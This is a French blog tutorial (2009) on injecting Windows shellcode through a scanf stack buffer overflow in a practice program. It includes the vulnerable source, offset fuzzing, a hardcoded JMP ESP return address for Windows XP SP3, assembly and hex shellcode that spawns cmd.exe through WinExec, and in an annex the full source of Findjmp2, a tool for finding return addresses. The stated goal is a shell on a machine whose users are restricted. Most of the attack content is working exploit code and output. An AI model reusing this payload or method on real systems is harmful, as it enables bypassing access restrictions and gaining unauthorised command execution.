samedi 31 octobre 2009

Tutoriel Shellcodes Windows - 2ème partie Injection en local sur scanf

Les shellcodes sont des programmes, écrits en assembleur, qu'un attaquant injecte dans un programme local ou sur une machine distante. Il existe plusieurs points d'injection comme les heap-overflows, les stack-overflows ou les IOCTL overflows. Nous ne détaillerons pas les différentes techniques et allons nous intéresser, dans ce tutoriel, à l'injection d'un shellcode ASCII dans un stack buffer overflow sur une machine locale.



Ce tutoriel fait suite au tutoriel sur les shellcodes Windows 1ère partie (référence n°1) et au tutoriel sur les shellcodes Linux de Trance (référence n°2).



plan

  1. exemple 7: mauvaise utilisation de scanf()


    1. la cible
    2. préparation de l'attaque
    3. l'attaque
    4. si l'OS de la cible n'est pas WXP SP3. Trouver une adresse dans kernel32 contenant la commande JMP ESP


  2. rappels


    1. la pile (stack)
    2. l'appel de fonction


  3. trouver la taille du buffer
  4. approfondissement: débuggage du programme
  5. comment faire revenir le fil d'exécution sur notre shellcode
  6. le shellcode


    1. transformons la chaine de caractères "cmd"
    2. trouvons l'adresse de WinExec
    3. générons chaine.c


  7. comment copier-coller une chaine ASCII

références

annexe 1: code source de Findjmp2

outils

- Microsoft VisualStudio Express (gratuit, inscription nécessaire après 30 jours).
Nous utiliserons VisualStudio pour compiler l'outil Findjmp2, codé par Ryan Permeh (référence n°4, code source recopié en Annexe 1). En effet, les commandes __TRY et __EXCEPT ne sont pas supportées par g++.

- Findjmp2,
outil codé par Ryan Permeh (référence n°4, code source recopié en Annexe 1). Il permet de trouver certaines commandes assembleur dans une librairie loadée comme Kernel32.dll .

Compilez Findjmp2.cpp, avec VisualStudio:
- lancez VisualStudio,
- créez un nouveau projet, Fichier -> Nouveau -> Projet,
- choisissez Application Console Win32, entrez son nom Findjmp2, choisissez C:\exemple7 comme emplacement.
- l'assistante de création apparait, cliquez sur suivant, cochez projet vide, cliquez sur terminer,
- placez votre fichier Findjmp2.cpp dans vos sources: clic droit sur Fichiers sources -> Ajouter -> Element existant
- compilez: clic droit sur Findjmp2 -> générer.



copiez C:\exemple7\Findjmp2\Debug\Findjmp2.exe dans C:\exemple7

- gcc
Ce programme Linux a été porté sous windows grâce à MinGW. Téléchargez l'installeur Windows sur le site officiel http://www.mingw.org/wiki/Getting_Started .

- nasm

Remarque: pour éviter de devoir à chaque fois taper tout le chemin C:\MinGW\bin\gcc et C:\Program Files\NASM, modifiez les variables d'environnement: clic droit sur Poste de Travail, Propriétés, Avancé, Variables d'environnement, PATH, Modifier. Ajoutez ;C:\MinGW\bin;C:\Program Files\NASM . Relancez votre ordinateur.

- ollydbg

- odfhex.cpp (cf tutoriel 1ère partie, référence n°1) outil créé par Steve Hanna, pour extraire le shellcode fourni par "objdump -d" et formater une chaîne de caractères de type shellcode "\xb0\x80...".


- arwin.c (cf tutoriel 1ère partie, référence n°1) outil créé également par Steve Hanna pour trouver l'adresse absolue d'une fonction windows pour une DLL donnée.

- convertisseur hex - ascii:

//chaine.c
#include < stdio.h >
int main(void)
{
puts("ASCII ou \x90\x2d (hexa) "); // placez votre shellcode ici
return 0;
}

C:\exemple7> gcc -Wall -o chaine chaine.c
C:\exemple7> chaine


exemple 7: mauvaise utilisation de scanf()

la cible

- créez un répertoire C:>exemple7
- créez un fichier cible.c et copiez-y:

// cible.c
#include < stdio.h >
int main(void) {
char buffer[30];
void entrer(void) {
scanf("%s",buffer);
}
printf("entrez votre nom: ");
entrer();
printf("votre nom est %s.\n",buffer);
return 0;
}

- compilez:
C:\exemple7>gcc -Wall -o cible cible.c

Vous avez créé un fichier cible.exe. Une icône cible est bien apparue dans le répertoire exemple7.

A partir de ce point, nous considérerons que la cible est un ordinateur où l'utilisateur possède des droits limités, dans lequel il n'est pas possible d'accéder au menu démarrer -> Exécuter, ni au répertoire C:\Windows\System32.

- testez:
cliquez sur cible. Un terminal apparait:

entrez votre nom: toto
votre nom est toto.

Le terminal disparait.

- recommencez en vous endormant sur votre clavier:
Cliquez sur cible.

entrez votre nom: totoooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
votre nom est totooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooo.



Le processus cible.exe plante. C'est un buffer overflow. Comment l'exploiter?

préparation de l'attaque

Vous êtes sur votre ordinateur. Vous créez un fichier chaine.doc contenant votre shellcode au format ASCII:

- ouvrez un terminal démarrer -> Exécuter > CMD < ENTREE >

- modifiez la police de caractères de votre terminal (nous verrons ultérieurement pourquoi), choisissez Lucida Console:







- créez un fichier chaine.doc et ouvrez le avec WordPad: démarrer -> Accessoires -> WordPad

- créez un fichier chaine.c et copiez-y:

//chaine.c
#include < stdio.h >
int main(void) {
puts("02040608101214161820222426283032343638404244");
puts("\x13\x44\x87\x7c"
"\x31\xc0\x68\x63\x6d\x64\x90\x88\x44\x24\x03\x89\xe3\xb0\x05\x50\x53"
"\xb8\x0e\x25\x86\x7c\x48\xff\xd0\x31\xc0\x50\xb8\x12\xcb\x81\x7c\xff\xd0"
);
return 0;
}

- compilez:

C:\exemple7> gcc -Wall -o chaine chaine.c
C:\exemple7> chaine
02040608101214161820222426283032343638404244
‼Dç|1└hcmdÉêD$♥ëÒ░♣PS©♫%å|H ð1└P©↕╦ü| ð

(les deux chaines de caractère qui apparaissent à votre écran sont différentes de celles-ci car la police de caractères est différente!)

- Dans WordPad, choisissez la police de caractères Lucida Console.

- copiez-collez ces deux chaines du terminal vers WordPad. Supprimez le caractère entrée entre elles. Vous obtenez alors une chaine unique.
02040608101214161820222426283032343638404244 ‼Dç|1└hcmdÉêD$♥ëÒ░♣PS©♫%å|H ð1└P©↕╦ü| ð

- enregistrez votre fichier chaine.doc. Vous l'ouvrirez sur l'ordinateur cible avec WordPad.

Vous avez alors obtenu votre shellcode au format ASCII dans la police de caractères Lucida Console.

l'attaque


Cette attaque fonctionne avec Windows XP SP3. Pour une autre version de Windows, l'adresse "jmp esp" utilisée est différente. Nous verrons plus tard comment faire.

Dans le répertoire Exemple7, cliquez sur l'icône de votre programme cible

Un terminal apparait. Il affiche
entrez votre nom:

- Modifiez la police de caractère du terminal ouvert par la cible: choisissez Lucida Console.

- Copiez-collez depuis cible.doc (ouvert avec WordPad) vers le terminal.

02040608101214161820222426283032343638404244‼Dç|1└hcmdÉêD$♥ëÒ░♣PS©♫%å|H ð1└P©↕╦ü| ð

Le terminal ne disparait pas et vous obtenez une invite de commande. L'attaque est réussie! :)

si l'OS de la cible n'est pas WXP SP3. Trouver une adresse dans kernel32 contenant la commande JMP ESP


Si vous n'utilisez pas Windows XP SP3, il est nécessaire de trouver une adresse contenant la commande JMP ESP. Nous expliquerons ultérieurement l'utilité de cette adresse.

Nous utilisons l'outil Findjmp2, codé par Ryan Permeh (référence n°4, code source en Annexe 1).

C:\exemple7>Findjmp2 kernel32.dll esp
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C836A08 call esp
0x7C874413 jmp esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses
C:\exemple7>

Nous copions donc \x13\x44\x87\x7C (7C874413 à l'envers) dans notre shellcode.

rappels


la pile (stack)

La pile, comme son nom l'indique, empile des "mots" de 4 octets (32 bits). Elle contient les arguments des fonctions appelées par le processus.

Chaque mot dans la mémoire possède une adresse, codée en hexadécimal, elle aussi sur 4 octets, commencant à 0xffffffff et terminant à 0x00000000.

Par exemple, pour un processus commencant à l'adresse 0xffffffff, si le texte et les constantes ont une taille totale de 60 octets (15 cases de 4 octets), et la pile une taille de 40 octets (10 cases):

La pile commencera à l'adresse 0xfffffff0 et finira à l'adresse 0xffffffe7. Elle se présentera de la façon suivante:


/--------\ haut de la pile
0xffffffe7 |
0xffffffe8 |
0xffffffe9 |
0xffffffea |
0xffffffeb | pile
0xffffffec |
0xffffffed |
0xffffffee |
0xffffffef |
0xfffffff0 |
\--------/ bas de la pile

fig.2 exemple d'une pile de 40 octets.


Les données sont empilées et dépilées, un peu comme des assiettes. C'est la dernière déposée qui est la première utilisée.

Les processeurs Intel-32 bits utilisent également plusieurs registres, pouvant chacun enregistrer un mot de 4 octets (32 bits). Nous nous intéresserons plus particulièrement à %esp et %eip.

l'appel de fonction

Lorsqu'une fonction est appelée (CALL MaFonction):
- l'adresse courante du programme (%EIP) est placée sur la pile,
- tout ce qui sera placé au dessus de cette adresse servira à la fonction.

Lorsqu'une fonction a terminé ses actions (RTN):
- l'adresse qui avait été sauvegardée est replacée dans %EIP.
- Donc, le programme reprend là où il s'était arrêté avant l'appel de la fonction.

L'adresse du haut de la pile est toujours placée dans le registre %ESP.



Quand une fonction est appelée, elle alloue un emplacement sur la pile pour ses paramètres et ses constantes. Elle utilise ensuite le haut de la pile pour ses variables:



Donc, dans notre programme cible.exe:
- le buffer est placé dans la partie "paramètres et constantes de la fonction".
- le buffer overflow écrase l'adresse %EIP sauvegardée avant son appel.

Lorsque le programme termine l'appel de la fonction entrer(), il fait un CALL de l'adresse écrasée. Ce mot écrasé est placé dans %EIP, puis le programme crash.

trouver la taille du buffer

Pour trouver la taille du buffer, il est nécessaire de fuzzer le programme, c'est à dire lui injecter des données différentes jusqu'à ce qu'il plante.

- Lancez Ollydbg

- loadez cible.exe (F3)

- Faites Run (F9), changez de fenêtre et entrez vos données:

Remarque: pour faire un copier-coller dans le terminal de Ollydbg, cliquez sur l'icône en haut à gauche de la fenêtre:



entrez votre nom: 02040608101214161820222426283032343638404244464850 < ENTER >
votre nom est 02040608101214161820222426283032343638404244464850.

Vous avez alors une Access Violation dans Ollydbg. Concentrez vous sur le registre EIP:



EIP vaut %38%34%36%34, soit 8464 en ASCII (obtenu avec centricle, site proposant une conversion HEX-ASCII en ligne), soit 46,48 à l'envers.

Donc, du début de notre buffer à l'adresse de retour (le %EIP sauvegardé à l'appel de Entrer() ), il y a 44 caractères.

A ce stade, nous pourrions commencer à coder notre shellcode, mais approfondissons un peu le sujet en débuggant cible.exe

approfondissement: débuggage du programme


- reloadez cible.exe (CTRL-F2). Vous pouvez remarquer que le pointeur de pile est sur 22FFC4. Nous utiliserons cette information plus tard.

- faites step-over (F8) pour atteindre le deuxième CALL, puis faites step into (F7) sur le 2ème CALL.




- continuez step-over (F8) jusqu'au Jump JE (opcodes 74 64) puis continuez toujours step-over (F8) jusqu'au dernier CALL avant la fonction ExitProcess. Faites ensuite step-into (F7) ce CALL. Vous entrez dans votre Main().



- vous êtes à présent dans votre Main(). Remarquez que le haut de la pile se trouve à l'adresse 22FF7C.
Vous pouvez observer
    - l'allocation mémoire pour notre buffer (plus d'autres arguments utilisés par Main),
    - l'appel de nos deux printf(),
    - l'appel de notre fonction entrer().



- Faites step-over (F8) jusqu'à vous trouver juste après l'allocation mémoire du buffer. Regardez la pile: 22FF30.



- Avancez (F8), puis faites step-into (F7) sur la fonction entrer(). Placez un BreakPoint sur LEAVE (sélectionnez la ligne, puis F2). Sans ce BreakPoint, vous ne pourriez pas revenir dans Ollydbg après avoir entré vos données dans le terminal.



- Faites Run (F9), entrez comme données: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA < ENTER > Le programme s'arrête sur notre BreakPoint, à la fin de la fonction entrer().

- revenez dans Ollydbg. Descendez un peu dans la pile. Vous trouvez l'adresse du début de notre buffer: 22FF50



Récapitulons: que se passe-t-il en mémoire?

Une fois dans notre Main(), la pile ressemble à:



L'adresse 22FF7C est en fait l'adresse de sortie de notre fonction Main(), En effet, rappelez vous que, à l'appel d'une fonction, l'OS empile l'adresse qui lui permettra de revenir après l'appel de la fonction. En l'occurence la fonction ExitProcess du processus.

Remarque1: Nous avons vu que, lorsque cible.exe crash, EIP contient les caractères 46,48 de notre chaîne de caractères 02040608101214161820222426283032343638404244464850. Or, 44d = 0x2C. Sachant 22FF50 + 2C = 22FF7C, nous retrouvons l'adresse citée ci-dessus. Ce débuggage n'était pas indispensable! Cela confirme que l'adresse de retour que nous devrons utiliser est bien placée après 44 caractères entrés dans notre buffer.

Remarque2: Pour information: Puisque nous connaissons le code source, nous savons que notre buffer a une taille de 30 octets. 30d = 0x1E. 22FF50 + 1E = 22FF6E. Les trois mots ( 22FF70, 22FF74, 22FF78) placés entre notre adresse de retour (22FF7C) et la fin de notre buffer (22FF6E) sont utilisés comme paramètres pour la fonction ExitProcess de notre Main().

Remarque3: Le début du processus est à l'adresse 22FFC4. Or 0x22FFC4-0x22FF7C =0x50 = 90d. Nous disposons de 90 caractères pour notre shellcode, après l'adresse de retour. Au delà, l'OS pourra détecter l'écriture dans un espace mémoire hors du processus.

comment faire revenir le fil d'exécution sur notre shellcode

Nous allons utiliser une astuce :

Astuce: Nous remplaçons l'adresse de retour par une adresse de kernel32.dll qui contient la commande JMP ESP.

Remarque: kernel32 est toujours loadé au même endroit dans la mémoire pour une version Windows donnée. Ainsi, tous les ordinateurs tournant sous Windows XP SP3 auront à l'adresse que nous avons trouvée la commande que nous utilisons. Par contre, cette adresse sera différente sur une autre version de Windows.

Le programme replace l'adresse que nous lui donnons dans EIP et reprend à ce point. Comme il trouve alors la commande JMP ESP, il saute sur le haut de la pile et continue son exécution à partir de ce point!

Remarque: L'astuce fonctionne également avec CALL ESP.

Nous utilisons l'outil Findjmp2, codé par Ryan Permeh (référence n°4, code source en Annexe 1).

C:\exemple7>Findjmp2 kernel32.dll esp
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C836A08 call esp
0x7C874413 jmp esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses
C:\exemple7>

Nous copions donc \x13\x44\x87\x7C (7C874413 à l'envers) dans notre shellcode.

le shellcode

Pour lancer un terminal sous Windows, nous utilisons la fonction Winexec avec C:\WINDOWS\system32\cmd.exe en argument. En fait, nous nous contenterons d'utiliser cmd en argument, car le chemin C:\WINDOWS\system32 est défini par défaut dans la variable d'environnement $PATH.

UINT WINAPI WinExec(
__in LPCSTR lpCmdLine,
__in UINT uCmdShow
);

transformons la chaine de caractères "cmd"

- Inversons la chaine de caracteres:
dmc

- transformons la en HEX:
6646d63

- ajoutons NOP (0x90) à la fin de la chaine (au début de notre suite de caracteres HEx). Ce NOP servira à

- s'assurer que notre chaine remplie est bien un multiple de 2 octets,

- laisser une place pour insérer NULL plus tard (car les shellcodes n'aiment pas les NULL)
90646d63

trouvons l'adresse de WinExec

C:\exemple7>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x7c86250d in kernel32.dll

générons chaine.c

Notre Shellcode ressemble alors à:

; shellcode.asm

; raz EAX
XOR EAX,EAX

; place la chaine cmd.exe dans la pile
PUSH 0x90646d63
MOV [ESP+3],al ; remplace 90 par 00

; sauvegarde l'adresse de la chaine dans EBX
MOV EBX,ESP

;place SH_SHOW (0x05) sur la pile
MOV AL,0x05
PUSH EAX

; place l'adresse de la chaine sur la pile
PUSH EBX

; appelle WinExec
MOV EAX,0x7c86250e
DEC EAX ; cette astuce est nécessaire car printf (dans chaine.c) ne reconnait pas le caractere \x0d
CALL EAX ; sans elle nous n'arrivons pas à sortir la version ascii de notre shellcode.


xor eax,eax

push eax

mov eax, 0x7c81cb12 ;exitprocess(exitcode);
call eax

Remarque: les shellcode n'aiment pas les \x00, car cela signifie "fin de chaine de caractère".

Astuce: le caractère \0d n'est pas retranscrit en ASCII par la fonction printf de notre programme chaine.c .
Au lieu de: MOV EAX,0x7c86250d , nous écrivons MOV EAX,0x7c86250e et DEC EAX

Nous copions le code assembleur dans un fichier shellcode.asm puis

C:>nasm -f elf shellcode.asm

C:>ld -o shellcode shellcode.o

C:>objdump -d shellcode > shellcode.tmp
C:>odfhex shellcode.tmp

\x31\xc0\x68 \x63\x6d\x64\x90\x88\x44\x24\x03\x89\xe3\xb0\x05\x50\x53\xb8\x0e\x25\x86\x7c\x48\xff\xd0\x31\xc0\x50\xb8\x12\xcb\x81\x7c\xff\xd0

Nous concaténons notre shellcode à l'adresse JMP ESP trouvée précédemment dans kernel32: 0x7C874413

\x13\x44\x87\x7c\x31\xc0\x68\x63\x6d\x64\x90\x88\x44\x24\x03\x89\xe3\xb0\x05\x50\x53\xb8\x0e\x25\x86\x7c\x48\xff\xd0\x31\xc0\x50\xb8\x12\xcb\x81\x7c\xff\xd0

Nous transformons ensuite ces hex en ascii:

//chaine.c
#include < stdio.h >
int main(void) {
puts("02040608101214161820222426283032343638404244");
puts("\x13\x44\x87\x7c"
"\x31\xc0\x68\x63\x6d\x64\x90\x88\x44\x24\x03\x89\xe3\xb0\x05\x50\x53"
"\xb8\x0e\x25\x86\x7c\x48\xff\xd0\x31\xc0\x50\xb8\x12\xcb\x81\x7c\xff\xd0"
);
return 0;
}

comment copier-coller une chaine ASCII

Notre shellcode est codé en HEX. Or scanf() n'accepte que des caractères ASCII en paramètre. Nous ne pouvons donc pas le copier/coller tel quel. Nous devons au préalable transformer nos caractères HEX en caractères ASCII.

Or, les caractères ASCII sont dépendants de la police de caractères.

Par exemple:

Vous avez une chaine initiale en HEX.

Vous la convertissez en ASCII dans une fenêtre qui affiche la police Arial.

Puis, vous copiez collez cette chaine ASCII vers une fenêtre qui affiche la police Verdana.

Lors de la conversion HEX ASCII que vous faites ensuite, votre chaîne HEX finale est différente de celle initiale.

Astuce: Heureusement, le terminal CMD.exe de Windows propose une police de caractères très répandue: Lucida Console. Nous retrouvons cette police dans WordPad.

Nous pouvons donc définir la police Lucida Console dans :
- le terminal où nous générons notre shellcode ASCII avec chaine.c,
- WordPad puis enregistrer le fichier obtenu pour le transporter,
- le terminal ouvert par l'application cible.

Rappel: pour modifier la police de caractères d'un terminal: clic sur l'icône en haut à gauche du Terminal, puis Propriétés.

N'oubliez pas de modifier la police de caractère dans chacune des fenêtres dans laquelle vous faites un copier ou un coller (Terminal perso, WordPad, Terminal cible).

conclusion

A ce stade, vous avez pu faire une injection de shellcode ASCII sur un bufferoverflow créé par une mauvaise utilisation de scanf. Bien que la cible ne permet pas à l'utilisateur l'accès à démarrer -> Exécuter, ni à C:\Windows\System32\cmd.exe, vous avez pu accéder à l'invite de commande dans un terminal.
Vous avez au passage revu comment coder un shellcode.

références

1) tutoriel shellcodes Windows 1ère partie: appels de fonction - http://infond.blogspot.com/2009/09/tutoriel-initiation-aux-shellcodes.html
2) tutoriel de Trance - Les shellcodes - http://www.ghostsinthestack.org/article-5-les-shellcodes.html
3) tutoriel - Aelphaeis Mangarae - Stack overflow exploitation explained - http://www.milw0rm.com/papers/140
4) programme Findjmp2 - Ryan Permeh - Eeye, I2S-LaB - http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0067.html



Annexe 1
code source de Findjmp2


//#include < iostream.h >
//#include < fstream.h >
#include < Windows.h >
#include < stdio.h >

FILE *fplog;

void usage();
void sep();
void iok(BYTE *curpos, char *reg);
void iok2(BYTE *curpos, char *reg);
void ook(BYTE *curpos, char *reg);
void ook2(BYTE *curpos, char *reg);

DWORD GetRegNum( char *reg );
void findjmp( char *dll, char *reg );

//This finds useful jump points in a dll. Once you overflow a buffer, by
//looking in the various registers, it is likely that you will find a
//reference to your code. This program will find addresses of suitible
//addresses of eip that will return to your code.

int main( int argc, char **argv )
{
if( argc <= 2 ) usage();

else
{
char dll[512]; //holder for the dll to look in
char reg[512]; // holder for the register

if ((fplog =fopen("findjmp.txt","r"))==NULL){
fplog =fopen("findjmp.txt","w");
}
else fplog =fopen("findjmp.txt","a");
strncpy( dll, argv[1], 512 );
strncpy( reg, argv[2], 512 );
findjmp( dll, reg );
}
return 0;
}

//This prints the usage information.

void usage() {
printf("\nFindjmp, Eeye, I2S-LaB\nFindjmp2, Hat-Squad\nFindJmp DLLregistre\nEx: findjmp KERNEL32.DLL esp\nCurrently supported registre are: EAX, EBX, ECX, EDX, ESI, EDI,ESP, EBP\n" );
}

//findjmp is the workhorse. it loads the requested dll, and searches for
//the specific patterns for jmp reg, push reg ret, and call reg

void findjmp( char *dll,char *reg ) {
char reg1[]="eax";
char reg2[]="ebx";
char reg3[]="ecx";
char reg4[]="edx";
char reg5[]="esi";
char reg6[]="edi";
char reg7[]="esp";
char reg8[]="ebp";

BYTE jmppat[8][2]={ { 0xFF, 0xE0 }, { 0xFF, 0xE3 }, { 0xFF, 0xE1 }, {0xFF, 0xE2 },
{ 0xFF, 0xE6 }, { 0xFF, 0xE7 }, { 0xFF, 0xE4 }, { 0xFF, 0xE5 } };
// patterns for jmp ops
BYTE callpat[8][2]={ { 0xFF, 0xD0 }, { 0xFF, 0xD3 }, { 0xFF, 0xD1 }, {0xFF, 0xD2},
{ 0xFF, 0xD6 }, { 0xFF, 0xD7 }, { 0xFF, 0xD4 }, { 0xFF, 0xD5 } };
// patterns for call ops
BYTE pushretpat[8][2]={ { 0x50, 0xC3 }, { 0x53, 0xC3 }, { 0x51, 0xC3 }, {0x52, 0xC3 },
{ 0x56, 0xC3 }, { 0x57, 0xC3 }, { 0x54, 0xC3 }, { 0x55, 0xC3 } };
// patterns for pushret ops
BYTE poppat[8][1]={ { 0x58 }, { 0x5B }, { 0x59 }, { 0x5A },
{ 0x5E }, { 0x5F }, { 0x5C }, { 0x5D },};
// patterns for pop,pop,ret
BYTE retn[1][1]={ 0xC3 }; // pattern for pop,pop,ret
BYTE retnbis[1][1]={ 0xC2 }; // pattern for pop,pop,ret

HMODULE loadedDLL; //base pointer for the loaded DLL

BYTE *curpos; //current position within the DLL
BYTE *curpos2; //subposition pop,pop,ret

DWORD regnum=GetRegNum(reg); // decimal representation of passed register
DWORD regnum1=GetRegNum(reg1);
DWORD regnum2=GetRegNum(reg2);
DWORD regnum3=GetRegNum(reg3);
DWORD regnum4=GetRegNum(reg4);
DWORD regnum5=GetRegNum(reg5);
DWORD regnum6=GetRegNum(reg6);
DWORD regnum7=GetRegNum(reg7);
DWORD regnum8=GetRegNum(reg8);

DWORD numaddr=0; //accumulator for addresses

if( regnum == -1 ) { //check if register is useable
//it didn't load, time to bail
printf( "There was a problem understanding the register.\n"\
"Please check that it isa correct IA32 register name\n"\
"Currently supported are:\n "\
"EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n");
exit(-1);
}

if( (loadedDLL=LoadLibraryA(dll)) == NULL) { // check if DLL loaded correctly
//it didn't load, time to bail
printf( "There was a problem Loading the requested DLL.\n"\
"Please check that it is in your path and readable\n" );
exit(-1);
}
else {
sep();
fprintf(fplog,"Findjmp, Eeye, I2S-LaB\nFindjmp2, Hat-Squad\n");
printf("\nFindjmp, Eeye, I2S-LaB\nFindjmp2, Hat-Squad\n");
printf( "Scanning %s for code useable with the %s register\n", dll, reg); //we loaded the dll correctly, time to scan it
fprintf(fplog,"Scanning %s for code useable with the %s register\n",dll, reg ); //we loaded the dll correctly, time to scan it
sep();
curpos=(BYTE*)loadedDLL; //set curpos at start of DLL
curpos2=(BYTE*)loadedDLL; //pop,pop,ret subscan.

__try
{
while(1)
{
Sleep(1/10);
if( !memcmp( curpos, jmppat[regnum], 2) ) //check for jmp match
{
printf( "0x%X\tjmp %s\n", curpos, reg ); // we have a jmp match
fprintf(fplog,"0x%X\tjmp %s\n", curpos, reg ); // we have a jmp match
numaddr++;
}
else if( !memcmp( curpos, callpat[regnum],2) ) //check for call match
{
printf( "0x%X\tcall %s\n", curpos, reg ); // we have a call match
fprintf(fplog,"0x%X\tcall %s\n", curpos, reg );
numaddr++;
}
else if( !memcmp(curpos,pushretpat[regnum], 2) ) //check for push/ret match
{
printf( "0x%X\tpush %s - ret\n", curpos, reg ); // we have a pushret match
fprintf(fplog,"0x%X\tpush %s - ret\n", curpos, reg ); // we have a jmp match
numaddr++;
}
else if( !memcmp(curpos,poppat[regnum], 1) ) //check for pop/pop/ret match
{
curpos2++;
if( !memcmp(curpos2,poppat[regnum1], 1) )
{
curpos2++;
if( !memcmp(curpos2,retn, 1) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, 1) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum2], 1) )
{
curpos2++;
if( !memcmp(curpos2,retn, 1) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, 1) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum3], 1) )
{
curpos2++;
if( !memcmp(curpos2,retn, 1) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, 1) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum4], 1) )
{
curpos2++;
if( !memcmp(curpos2,retn, 1) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, 1) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum5], 1) )
{
curpos2++;
if( !memcmp(curpos2,retn, 1) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, 1) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum6], 1) )
{
curpos2++;
if( !memcmp(curpos2,retn, 1) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, 1) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum7], 1) )
{
curpos2++;
if( !memcmp(curpos2,retn, 1) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, 1) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum8], 1) )
{
curpos2++;
if( !memcmp(curpos2,retn, 1) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, 1) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
curpos2--;
}
loop:
curpos++;
curpos2++;
}
}
__except(1)
{
sep();
fprintf( fplog,"Finished Scanning %s for code useable with the %s register\n", dll, reg );
printf( "Finished Scanning %s for code useable with the %s register\n",dll, reg );
printf( "Found %d usable addresses\n", numaddr );
fprintf( fplog,"Found %d usable addresses\n", numaddr );sep();fprintf(fplog,"\n\n\n");
}
}

}

DWORD GetRegNum( char *reg )
{
DWORD ret=-1;
if( !stricmp( reg, "eax") )
{
ret=0;
}
else if( !stricmp( reg, "ebx") )
{
ret=1;
}
else if( !stricmp( reg, "ecx") )
{
ret=2;
}
else if( !stricmp( reg, "edx") )
{
ret=3;
}
else if( !stricmp( reg, "esi") )
{
ret=4;
}
else if( !stricmp( reg, "edi") )
{
ret=5;
}
else if( !stricmp( reg, "esp") )
{
ret=6;
}
else if( !stricmp( reg, "ebp") )
{
ret=7;
}

return ret; //return our decimal register number
}

void sep()
{

fprintf(fplog,"----------------------------------------------------------------------------\n");
}

void iok(BYTE *curpos, char *reg)
{
printf( "0x%X\tpop %s - pop - ret\n", curpos, reg ); // we have a popopret match
}

void iok2(BYTE *curpos, char *reg)
{
printf( "0x%X\tpop %s - pop - retbis\n", curpos, reg ); // we have a popopret match
}

void ook(BYTE *curpos, char *reg)
{
fprintf(fplog,"0x%X\tpop %s - pop - ret\n", curpos, reg ); // we have a jmp match
}

void ook2(BYTE *curpos, char *reg)
{
fprintf(fplog,"0x%X\tpop %s - pop - retbis\n", curpos, reg ); // we have a jmp match
}

// EOF

Aucun commentaire:

Publier un commentaire